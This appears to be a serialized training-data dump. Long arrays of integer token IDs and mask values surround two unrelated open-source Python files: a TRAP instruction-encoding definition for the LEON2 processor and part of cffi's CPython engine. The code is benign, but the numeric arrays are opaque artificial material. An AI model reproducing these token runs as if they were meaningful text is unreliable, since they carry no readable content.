355,
2649,
63,
1224,
14,
67,
14,
2975,
63,
576,
12,
288,
4794,
267,
7092,
10174,
342,
267,
3850,
2531,
288,
4730,
12,
288,
3842,
277,
14,
576,
12,
776,
367,
284,
315,
1425,
8,
19,
1874,
267,
776,
267,
367,
1962,
315,
4730,
26,
288,
702,
1228,
8,
1143,
59,
16,
467,
4884,
14,
505,
63,
466,
9,
339,
347,
485,
396,
63,
1667,
63,
5465,
8,
277,
304,
267,
2649,
63,
1224,
275,
291,
14,
5987,
14,
2975,
63,
1224,
398,
1101,
14,
697,
14,
2526,
8,
288,
2649,
63,
1224,
14,
3176,
1062,
288,
2420,
2975,
63,
576,
582,
399,
8355,
93,
267,
776,
267,
1962,
275,
1101,
14,
697,
14,
2526,
8,
288,
3504,
779,
2975,
63,
1224,
14,
67,
14,
2975,
63,
576,
566,
267,
7092,
2246,
342,
267,
3850,
2531,
1143,
12,
334,
85,
31150,
430,
339,
347,
511,
63,
8939,
8,
277,
304,
267,
291,
423,
8939,
63,
2363,
63,
7254,
8,
277,
14,
14184,
12,
359,
277,
14,
576,
467,
359,
277,
14,
576,
566,
421,
199,
533,
6140,
54,
18198,
774,
1547,
7087,
12812,
12,
15188,
14,
18845,
774,
304,
272,
636,
6537,
363,
275,
283,
2975,
63,
576,
297,
272,
636,
4620,
363,
275,
715,
339,
16048,
275,
6140,
8,
2299,
9,
339,
768,
7538,
14,
1667,
63,
5465,
63,
25545,
272,
347,
511,
63,
1667,
63,
5465,
63,
25545,
8,
277,
304,
267,
291,
423,
396,
63,
1667,
63,
5465,
342,
421,
199,
533,
6140,
1872,
774,
1547,
7087,
12812,
12,
15188,
14,
18845,
774,
304,
272,
636,
6537,
363,
275,
283,
2975,
63,
576,
297,
283,
505,
63,
466,
7,
272,
636,
4620,
363,
275,
715,
339,
16048,
275,
6140,
1872,
342,
339,
768,
7538,
14,
1667,
63,
5465,
63,
505,
272,
347,
511,
63,
1667,
63,
5465,
63,
505,
8,
277,
304,
267,
291,
423,
396,
63,
1667,
63,
5465,
342,
421,
199,
533,
4516,
774,
1547,
7621,
18579,
32220,
12812,
12,
15188,
14,
18845,
774,
304,
272,
636,
6537,
363,
275,
283,
505,
63,
466,
297,
272,
636,
4620,
363,
275,
715,
339,
768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
socrocket/trap-gen
|
processors/LEON2/LEONCoding.py
|
1
|
5555
|
################################################################################
#
# _/_/_/_/_/ _/_/_/ _/ _/_/_/
# _/ _/ _/ _/_/ _/ _/
# _/ _/ _/ _/ _/ _/ _/
# _/ _/_/_/ _/_/_/_/ _/_/_/
# _/ _/ _/ _/ _/ _/
# _/ _/ _/ _/ _/ _/
#
# @file LEONCoding.py
# @brief This file is part of the TRAP example processors.
# @details Instruction coding definition file for the LEON2.
# @author Luca Fossati
# @date 2008-2013 Luca Fossati
# @copyright
#
# This file is part of TRAP.
#
# TRAP is free software; you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this program; if not, write to the
# Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
# or see <http://www.gnu.org/licenses/>.
#
# (c) Luca Fossati, fossati@elet.polimi.it, fossati.l@gmail.com
#
################################################################################
import trap
#---------------------------------------------------------
# Instruction Encoding
#---------------------------------------------------------
# Lets now start with defining the instructions, i.e. their bitstring and
# mnemonic and their behavior. Note the zero* field: it is a special identifier and it
# means that all those bits have value 0; the same applies for one*
# As stated in page 44 of "The SPARC Architecture Manual V8" there are
# mainly 6 different format types
# Call instruction format
call_format = trap.MachineCode([('op', 2), ('disp30', 30)])
call_format.setBitfield('op', [0, 1])
# Branch and sethi instructions format
b_sethi_format1 = trap.MachineCode([('op', 2), ('rd', 5), ('op2', 3), ('imm22', 22)])
b_sethi_format1.setBitfield('op', [0, 0])
b_sethi_format1.setVarField('rd', ('REGS', 0), 'out')
b_sethi_format2 = trap.MachineCode([('op', 2), ('a', 1), ('cond', 4), ('op2', 3), ('disp22', 22)])
b_sethi_format2.setBitfield('op', [0, 0])
# Memory instruction format
mem_format1 = trap.MachineCode([('op', 2), ('rd', 5), ('op3', 6), ('rs1', 5), ('zero', 1), ('asi', 8), ('rs2', 5)])
mem_format1.setBitfield('op', [1, 1])
mem_format1.setVarField('rs1', ('REGS', 0), 'in')
mem_format1.setVarField('rs2', ('REGS', 0), 'in')
mem_format2 = trap.MachineCode([('op', 2), ('rd', 5), ('op3', 6), ('rs1', 5), ('one', 1), ('simm13', 13)])
mem_format2.setBitfield('op', [1, 1])
mem_format2.setVarField('rs1', ('REGS', 0), 'in')
# Store Barrier format
stbar_format = trap.MachineCode([('op', 2), ('zero', 5), ('op3', 6), ('rs1', 5), ('zero', 14)])
stbar_format.setBitfield('op', [1, 0])
stbar_format.setBitfield('op3', [1, 0, 1, 0, 0, 0])
stbar_format.setBitfield('rs1', [0, 1, 1, 1, 1])
# logical and remainig instructions format
dpi_format1 = trap.MachineCode([('op', 2), ('rd', 5), ('op3', 6), ('rs1', 5), ('zero', 1), ('asi', 8), ('rs2', 5)])
dpi_format1.setBitfield('op', [1, 0])
dpi_format1.setVarField('rd', ('REGS', 0), 'out')
dpi_format1.setVarField('rs1', ('REGS', 0), 'in')
dpi_format1.setVarField('rs2', ('REGS', 0), 'in')
dpi_format2 = trap.MachineCode([('op', 2), ('rd', 5), ('op3', 6), ('rs1', 5), ('one', 1), ('simm13', 13)])
dpi_format2.setBitfield('op', [1, 0])
dpi_format2.setVarField('rd', ('REGS', 0), 'out')
dpi_format2.setVarField('rs1', ('REGS', 0), 'in')
# Format for reading special instructions
read_special_format = trap.MachineCode([('op', 2), ('rd', 5), ('op3', 6), ('asr', 5), ('zero', 14)])
read_special_format.setBitfield('op', [1, 0])
read_special_format.setVarField('rd', ('REGS', 0), 'out')
# Format for writing special instructions
write_special_format1 = trap.MachineCode([('op', 2), ('rd', 5), ('op3', 6), ('rs1', 5), ('zero', 9), ('rs2', 5)])
write_special_format1.setBitfield('op', [1, 0])
write_special_format1.setVarField('rs1', ('REGS', 0), 'in')
write_special_format1.setVarField('rs2', ('REGS', 0), 'in')
write_special_format2 = trap.MachineCode([('op', 2), ('rd', 5), ('op3', 6), ('rs1', 5), ('one', 1), ('simm13', 13)])
write_special_format2.setBitfield('op', [1, 0])
write_special_format2.setVarField('rs1', ('REGS', 0), 'in')
# Trap on integer condition code format
ticc_format1 = trap.MachineCode([('op', 2), ('reserved1', 1), ('cond', 4), ('op3', 6), ('rs1', 5), ('zero', 1), ('asi', 8), ('rs2', 5)])
ticc_format1.setBitfield('op', [1, 0])
ticc_format1.setVarField('rs1', ('REGS', 0), 'in')
ticc_format1.setVarField('rs2', ('REGS', 0), 'in')
ticc_format2 = trap.MachineCode([('op', 2), ('reserved1', 1), ('cond', 4), ('op3', 6), ('rs1', 5), ('one', 1), ('reserved2', 6), ('imm7', 7)])
ticc_format2.setBitfield('op', [1, 0])
ticc_format2.setVarField('rs1', ('REGS', 0), 'in')
# Coprocessor of fpu instruction format
coprocessor_format = trap.MachineCode([('op', 2), ('rd', 5), ('op3', 6), ('rs1', 5), ('opf', 9), ('rs2', 5)])
coprocessor_format.setBitfield('op', [1, 0])
coprocessor_format.setVarField('rd', ('REGS', 0), 'out')
coprocessor_format.setVarField('rs1', ('REGS', 0), 'in')
coprocessor_format.setVarField('rs2', ('REGS', 0), 'in')
|
gpl-3.0
|
[
13289,
199,
3,
199,
3,
221,
485,
15607,
15607,
15607,
15607,
15,
221,
485,
15607,
15607,
15,
3698,
485,
15,
263,
485,
15607,
15607,
15,
199,
3,
258,
485,
15,
420,
485,
15,
259,
485,
15,
263,
485,
15607,
15,
755,
485,
15,
259,
485,
15,
199,
3,
259,
485,
15,
420,
485,
15,
259,
485,
15,
755,
485,
15,
221,
485,
15,
420,
485,
15,
259,
485,
15,
199,
3,
257,
485,
15,
420,
485,
15607,
15607,
15,
263,
485,
15607,
15607,
15607,
15,
258,
485,
15607,
15607,
15,
199,
3,
221,
485,
15,
420,
485,
15,
259,
485,
15,
258,
485,
15,
420,
485,
15,
259,
485,
15,
199,
3,
485,
15,
420,
485,
15,
420,
485,
15,
221,
485,
15,
263,
485,
15,
257,
485,
15,
199,
3,
199,
3,
768,
493,
258,
6124,
615,
35,
2691,
14,
647,
199,
3,
768,
19127,
259,
961,
570,
365,
1777,
402,
314,
9074,
1282,
2893,
21620,
14,
199,
3,
768,
5087,
221,
1010,
4742,
2803,
5492,
570,
367,
314,
6124,
615,
18,
14,
199,
3,
768,
2502,
257,
491,
8667,
481,
26890,
2159,
199,
3,
768,
602,
258,
9079,
13,
6965,
491,
8667,
481,
26890,
2159,
199,
3,
768,
7307,
199,
3,
199,
3,
961,
570,
365,
1777,
402,
9074,
1282,
14,
199,
3,
199,
3,
9074,
1282,
365,
2867,
2032,
27,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
652,
1334,
314,
2895,
402,
314,
1664,
6401,
1696,
1684,
844,
465,
199,
3,
3267,
701,
314,
2868,
2290,
2752,
27,
1902,
1015,
650,
402,
314,
199,
3,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
1664,
6401,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
6401,
1696,
1684,
199,
3,
844,
3180,
543,
642,
2240,
27,
340,
440,
12,
2218,
370,
314,
199,
3,
2868,
2290,
2752,
12,
3277,
2020,
199,
3,
8026,
11236,
14259,
12,
12066,
11844,
12,
8226,
12,
4828,
221,
11315,
13,
10067,
221,
8217,
199,
3,
503,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
3,
199,
3,
334,
67,
9,
491,
8667,
481,
26890,
2159,
12,
7090,
385,
2159,
32,
69,
2723,
14,
555,
317,
2664,
14,
390,
12,
7090,
385,
2159,
14,
76,
32,
6799,
14,
957,
199,
3,
199,
13289,
199,
199,
646,
22514,
199,
199,
17807,
9960,
199,
3,
1010,
4742,
19694,
199,
17807,
9960,
199,
3,
491,
8716,
3063,
1343,
543,
12669,
314,
15794,
12,
284,
14,
69,
14,
3932,
4546,
875,
436,
199,
3,
18250,
16082,
436,
3932,
5953,
14,
3390,
314,
4697,
10,
901,
26,
652,
365,
282,
4539,
5148,
436,
652,
199,
3,
4910,
626,
1006,
5204,
5821,
1172,
574,
378,
27,
314,
2011,
12966,
367,
1373,
10,
199,
3,
3709,
410,
972,
315,
2034,
10868,
402,
298,
1918,
428,
4014,
35,
19521,
10497,
30247,
812,
24,
2,
2337,
787,
199,
3,
27580,
1227,
3365,
1475,
2943,
199,
199,
3,
6523,
16329,
1475,
199,
1250,
63,
908,
275,
22514,
14,
8412,
3034,
8318,
411,
297,
499,
395,
661,
13654,
1216,
297,
4233,
3948,
199,
1250,
63,
908,
14,
409,
4734,
698,
360,
411,
297,
359,
16,
12,
413,
566,
199,
199,
3,
699,
2965,
436,
542,
273,
73,
15794,
1475,
199,
66,
63,
261,
273,
73,
63,
908,
17,
275,
22514,
14,
8412,
3034,
8318,
411,
297,
499,
395,
661,
6883,
297,
959,
395,
661,
411,
18,
297,
650,
395,
661,
20066,
1081,
297,
6928,
3948,
199,
66,
63,
261,
273,
73,
63,
908,
17,
14,
409,
4734,
698,
360,
411,
297,
359,
16,
12,
378,
566,
199,
66,
63,
261,
273,
73,
63,
908,
17,
14,
409,
5894,
792,
360,
6883,
297,
661,
5616,
51,
297,
378,
395,
283,
548,
358,
199,
66,
63,
261,
273,
73,
63,
908,
18,
275,
22514,
14,
8412,
3034,
8318,
411,
297,
499,
395,
661,
65,
297,
413,
395,
661,
2067,
297,
841,
395,
661,
411,
18,
297,
650,
395,
661,
13654,
1081,
297,
6928,
3948,
199,
66,
63,
261,
273,
73,
63,
908,
18,
14,
409,
4734,
698,
360,
411,
297,
359,
16,
12,
378,
566,
199,
199,
3,
15825,
16329,
1475,
199,
5286,
63,
908,
17,
275,
22514,
14,
8412,
3034,
8318,
411,
297,
499,
395,
661,
6883,
297,
959,
395,
661,
411,
19,
297,
1227,
395,
661,
2393,
17,
297,
959,
395,
661,
4262,
297,
413,
395,
661,
24950,
297,
1695,
395,
661,
2393,
18,
297,
959,
3948,
199,
5286,
63,
908,
17,
14,
409,
4734,
698,
360,
411,
297,
359,
17,
12,
413,
566,
199,
5286,
63,
908,
17,
14,
409,
5894,
792,
360,
2393,
17,
297,
661,
5616,
51,
297,
378,
395,
283,
262,
358,
199,
5286,
63,
908,
17,
14,
409,
5894,
792,
360,
2393,
18,
297,
661,
5616,
51,
297,
378,
395,
283,
262,
358,
199,
199,
5286,
63,
908,
18,
275,
22514,
14,
8412,
3034,
8318,
411,
297,
499,
395,
661,
6883,
297,
959,
395,
661,
411,
19,
297,
1227,
395,
661,
2393,
17,
297,
959,
395,
661,
368,
297,
413,
395,
661,
338,
596,
969,
297,
4944,
3948,
199,
5286,
63,
908,
18,
14,
409,
4734,
698,
360,
411,
297,
359,
17,
12,
413,
566,
199,
5286,
63,
908,
18,
14,
409,
5894,
792,
360,
2393,
17,
297,
661,
5616,
51,
297,
378,
395,
283,
262,
358,
199,
199,
3,
13874,
12377,
10742,
1475,
199,
270,
1700,
63,
908,
275,
22514,
14,
8412,
3034,
8318,
411,
297,
499,
395,
661,
4262,
297,
959,
395,
661,
411,
19,
297,
1227,
395,
661,
2393,
17,
297,
959,
395,
661,
4262,
297,
4329,
3948,
199,
270,
1700,
63,
908,
14,
409,
4734,
698,
360,
411,
297,
359,
17,
12,
378,
566,
199,
270,
1700,
63,
908,
14,
409,
4734,
698,
360,
411,
19,
297,
359,
17,
12,
378,
12,
413,
12,
378,
12,
378,
12,
378,
566,
199,
270
] |
[
199,
3,
199,
3,
221,
485,
15607,
15607,
15607,
15607,
15,
221,
485,
15607,
15607,
15,
3698,
485,
15,
263,
485,
15607,
15607,
15,
199,
3,
258,
485,
15,
420,
485,
15,
259,
485,
15,
263,
485,
15607,
15,
755,
485,
15,
259,
485,
15,
199,
3,
259,
485,
15,
420,
485,
15,
259,
485,
15,
755,
485,
15,
221,
485,
15,
420,
485,
15,
259,
485,
15,
199,
3,
257,
485,
15,
420,
485,
15607,
15607,
15,
263,
485,
15607,
15607,
15607,
15,
258,
485,
15607,
15607,
15,
199,
3,
221,
485,
15,
420,
485,
15,
259,
485,
15,
258,
485,
15,
420,
485,
15,
259,
485,
15,
199,
3,
485,
15,
420,
485,
15,
420,
485,
15,
221,
485,
15,
263,
485,
15,
257,
485,
15,
199,
3,
199,
3,
768,
493,
258,
6124,
615,
35,
2691,
14,
647,
199,
3,
768,
19127,
259,
961,
570,
365,
1777,
402,
314,
9074,
1282,
2893,
21620,
14,
199,
3,
768,
5087,
221,
1010,
4742,
2803,
5492,
570,
367,
314,
6124,
615,
18,
14,
199,
3,
768,
2502,
257,
491,
8667,
481,
26890,
2159,
199,
3,
768,
602,
258,
9079,
13,
6965,
491,
8667,
481,
26890,
2159,
199,
3,
768,
7307,
199,
3,
199,
3,
961,
570,
365,
1777,
402,
9074,
1282,
14,
199,
3,
199,
3,
9074,
1282,
365,
2867,
2032,
27,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
652,
1334,
314,
2895,
402,
314,
1664,
6401,
1696,
1684,
844,
465,
199,
3,
3267,
701,
314,
2868,
2290,
2752,
27,
1902,
1015,
650,
402,
314,
199,
3,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
1664,
6401,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
6401,
1696,
1684,
199,
3,
844,
3180,
543,
642,
2240,
27,
340,
440,
12,
2218,
370,
314,
199,
3,
2868,
2290,
2752,
12,
3277,
2020,
199,
3,
8026,
11236,
14259,
12,
12066,
11844,
12,
8226,
12,
4828,
221,
11315,
13,
10067,
221,
8217,
199,
3,
503,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
3,
199,
3,
334,
67,
9,
491,
8667,
481,
26890,
2159,
12,
7090,
385,
2159,
32,
69,
2723,
14,
555,
317,
2664,
14,
390,
12,
7090,
385,
2159,
14,
76,
32,
6799,
14,
957,
199,
3,
199,
13289,
199,
199,
646,
22514,
199,
199,
17807,
9960,
199,
3,
1010,
4742,
19694,
199,
17807,
9960,
199,
3,
491,
8716,
3063,
1343,
543,
12669,
314,
15794,
12,
284,
14,
69,
14,
3932,
4546,
875,
436,
199,
3,
18250,
16082,
436,
3932,
5953,
14,
3390,
314,
4697,
10,
901,
26,
652,
365,
282,
4539,
5148,
436,
652,
199,
3,
4910,
626,
1006,
5204,
5821,
1172,
574,
378,
27,
314,
2011,
12966,
367,
1373,
10,
199,
3,
3709,
410,
972,
315,
2034,
10868,
402,
298,
1918,
428,
4014,
35,
19521,
10497,
30247,
812,
24,
2,
2337,
787,
199,
3,
27580,
1227,
3365,
1475,
2943,
199,
199,
3,
6523,
16329,
1475,
199,
1250,
63,
908,
275,
22514,
14,
8412,
3034,
8318,
411,
297,
499,
395,
661,
13654,
1216,
297,
4233,
3948,
199,
1250,
63,
908,
14,
409,
4734,
698,
360,
411,
297,
359,
16,
12,
413,
566,
199,
199,
3,
699,
2965,
436,
542,
273,
73,
15794,
1475,
199,
66,
63,
261,
273,
73,
63,
908,
17,
275,
22514,
14,
8412,
3034,
8318,
411,
297,
499,
395,
661,
6883,
297,
959,
395,
661,
411,
18,
297,
650,
395,
661,
20066,
1081,
297,
6928,
3948,
199,
66,
63,
261,
273,
73,
63,
908,
17,
14,
409,
4734,
698,
360,
411,
297,
359,
16,
12,
378,
566,
199,
66,
63,
261,
273,
73,
63,
908,
17,
14,
409,
5894,
792,
360,
6883,
297,
661,
5616,
51,
297,
378,
395,
283,
548,
358,
199,
66,
63,
261,
273,
73,
63,
908,
18,
275,
22514,
14,
8412,
3034,
8318,
411,
297,
499,
395,
661,
65,
297,
413,
395,
661,
2067,
297,
841,
395,
661,
411,
18,
297,
650,
395,
661,
13654,
1081,
297,
6928,
3948,
199,
66,
63,
261,
273,
73,
63,
908,
18,
14,
409,
4734,
698,
360,
411,
297,
359,
16,
12,
378,
566,
199,
199,
3,
15825,
16329,
1475,
199,
5286,
63,
908,
17,
275,
22514,
14,
8412,
3034,
8318,
411,
297,
499,
395,
661,
6883,
297,
959,
395,
661,
411,
19,
297,
1227,
395,
661,
2393,
17,
297,
959,
395,
661,
4262,
297,
413,
395,
661,
24950,
297,
1695,
395,
661,
2393,
18,
297,
959,
3948,
199,
5286,
63,
908,
17,
14,
409,
4734,
698,
360,
411,
297,
359,
17,
12,
413,
566,
199,
5286,
63,
908,
17,
14,
409,
5894,
792,
360,
2393,
17,
297,
661,
5616,
51,
297,
378,
395,
283,
262,
358,
199,
5286,
63,
908,
17,
14,
409,
5894,
792,
360,
2393,
18,
297,
661,
5616,
51,
297,
378,
395,
283,
262,
358,
199,
199,
5286,
63,
908,
18,
275,
22514,
14,
8412,
3034,
8318,
411,
297,
499,
395,
661,
6883,
297,
959,
395,
661,
411,
19,
297,
1227,
395,
661,
2393,
17,
297,
959,
395,
661,
368,
297,
413,
395,
661,
338,
596,
969,
297,
4944,
3948,
199,
5286,
63,
908,
18,
14,
409,
4734,
698,
360,
411,
297,
359,
17,
12,
413,
566,
199,
5286,
63,
908,
18,
14,
409,
5894,
792,
360,
2393,
17,
297,
661,
5616,
51,
297,
378,
395,
283,
262,
358,
199,
199,
3,
13874,
12377,
10742,
1475,
199,
270,
1700,
63,
908,
275,
22514,
14,
8412,
3034,
8318,
411,
297,
499,
395,
661,
4262,
297,
959,
395,
661,
411,
19,
297,
1227,
395,
661,
2393,
17,
297,
959,
395,
661,
4262,
297,
4329,
3948,
199,
270,
1700,
63,
908,
14,
409,
4734,
698,
360,
411,
297,
359,
17,
12,
378,
566,
199,
270,
1700,
63,
908,
14,
409,
4734,
698,
360,
411,
19,
297,
359,
17,
12,
378,
12,
413,
12,
378,
12,
378,
12,
378,
566,
199,
270,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
Vogeltak/pauselan
|
lib/python3.4/site-packages/cffi/vengine_cpy.py
|
10
|
41164
|
import sys, imp
from . import model, ffiplatform
class VCPythonEngine(object):
_class_key = 'x'
_gen_python_module = True
def __init__(self, verifier):
self.verifier = verifier
self.ffi = verifier.ffi
self._struct_pending_verification = {}
self._types_of_builtin_functions = {}
def patch_extension_kwds(self, kwds):
pass
def find_module(self, module_name, path, so_suffixes):
try:
f, filename, descr = imp.find_module(module_name, path)
except ImportError:
return None
if f is not None:
f.close()
# Note that after a setuptools installation, there are both .py
# and .so files with the same basename. The code here relies on
# imp.find_module() locating the .so in priority.
if descr[0] not in so_suffixes:
return None
return filename
def collect_types(self):
self._typesdict = {}
self._generate("collecttype")
def _prnt(self, what=''):
self._f.write(what + '\n')
def _gettypenum(self, type):
# a KeyError here is a bug. please report it! :-)
return self._typesdict[type]
def _do_collect_type(self, tp):
if ((not isinstance(tp, model.PrimitiveType)
or tp.name == 'long double')
and tp not in self._typesdict):
num = len(self._typesdict)
self._typesdict[tp] = num
def write_source_to_f(self):
self.collect_types()
#
# The new module will have a _cffi_setup() function that receives
# objects from the ffi world, and that calls some setup code in
# the module. This setup code is split in several independent
# functions, e.g. one per constant. The functions are "chained"
# by ending in a tail call to each other.
#
# This is further split in two chained lists, depending on if we
# can do it at import-time or if we must wait for _cffi_setup() to
# provide us with the <ctype> objects. This is needed because we
# need the values of the enum constants in order to build the
# <ctype 'enum'> that we may have to pass to _cffi_setup().
#
# The following two 'chained_list_constants' items contains
# the head of these two chained lists, as a string that gives the
# call to do, if any.
self._chained_list_constants = ['((void)lib,0)', '((void)lib,0)']
#
prnt = self._prnt
# first paste some standard set of lines that are mostly '#define'
prnt(cffimod_header)
prnt()
# then paste the C source given by the user, verbatim.
prnt(self.verifier.preamble)
prnt()
#
# call generate_cpy_xxx_decl(), for every xxx found from
# ffi._parser._declarations. This generates all the functions.
self._generate("decl")
#
# implement the function _cffi_setup_custom() as calling the
# head of the chained list.
self._generate_setup_custom()
prnt()
#
# produce the method table, including the entries for the
# generated Python->C function wrappers, which are done
# by generate_cpy_function_method().
prnt('static PyMethodDef _cffi_methods[] = {')
self._generate("method")
prnt(' {"_cffi_setup", _cffi_setup, METH_VARARGS, NULL},')
prnt(' {NULL, NULL, 0, NULL} /* Sentinel */')
prnt('};')
prnt()
#
# standard init.
modname = self.verifier.get_module_name()
constants = self._chained_list_constants[False]
prnt('#if PY_MAJOR_VERSION >= 3')
prnt()
prnt('static struct PyModuleDef _cffi_module_def = {')
prnt(' PyModuleDef_HEAD_INIT,')
prnt(' "%s",' % modname)
prnt(' NULL,')
prnt(' -1,')
prnt(' _cffi_methods,')
prnt(' NULL, NULL, NULL, NULL')
prnt('};')
prnt()
prnt('PyMODINIT_FUNC')
prnt('PyInit_%s(void)' % modname)
prnt('{')
prnt(' PyObject *lib;')
prnt(' lib = PyModule_Create(&_cffi_module_def);')
prnt(' if (lib == NULL)')
prnt(' return NULL;')
prnt(' if (%s < 0 || _cffi_init() < 0) {' % (constants,))
prnt(' Py_DECREF(lib);')
prnt(' return NULL;')
prnt(' }')
prnt(' return lib;')
prnt('}')
prnt()
prnt('#else')
prnt()
prnt('PyMODINIT_FUNC')
prnt('init%s(void)' % modname)
prnt('{')
prnt(' PyObject *lib;')
prnt(' lib = Py_InitModule("%s", _cffi_methods);' % modname)
prnt(' if (lib == NULL)')
prnt(' return;')
prnt(' if (%s < 0 || _cffi_init() < 0)' % (constants,))
prnt(' return;')
prnt(' return;')
prnt('}')
prnt()
prnt('#endif')
def load_library(self, flags=None):
# XXX review all usages of 'self' here!
# import it as a new extension module
imp.acquire_lock()
try:
if hasattr(sys, "getdlopenflags"):
previous_flags = sys.getdlopenflags()
try:
if hasattr(sys, "setdlopenflags") and flags is not None:
sys.setdlopenflags(flags)
module = imp.load_dynamic(self.verifier.get_module_name(),
self.verifier.modulefilename)
except ImportError as e:
error = "importing %r: %s" % (self.verifier.modulefilename, e)
raise ffiplatform.VerificationError(error)
finally:
if hasattr(sys, "setdlopenflags"):
sys.setdlopenflags(previous_flags)
finally:
imp.release_lock()
#
# call loading_cpy_struct() to get the struct layout inferred by
# the C compiler
self._load(module, 'loading')
#
# the C code will need the <ctype> objects. Collect them in
# order in a list.
revmapping = dict([(value, key)
for (key, value) in self._typesdict.items()])
lst = [revmapping[i] for i in range(len(revmapping))]
lst = list(map(self.ffi._get_cached_btype, lst))
#
# build the FFILibrary class and instance and call _cffi_setup().
# this will set up some fields like '_cffi_types', and only then
# it will invoke the chained list of functions that will really
# build (notably) the constant objects, as <cdata> if they are
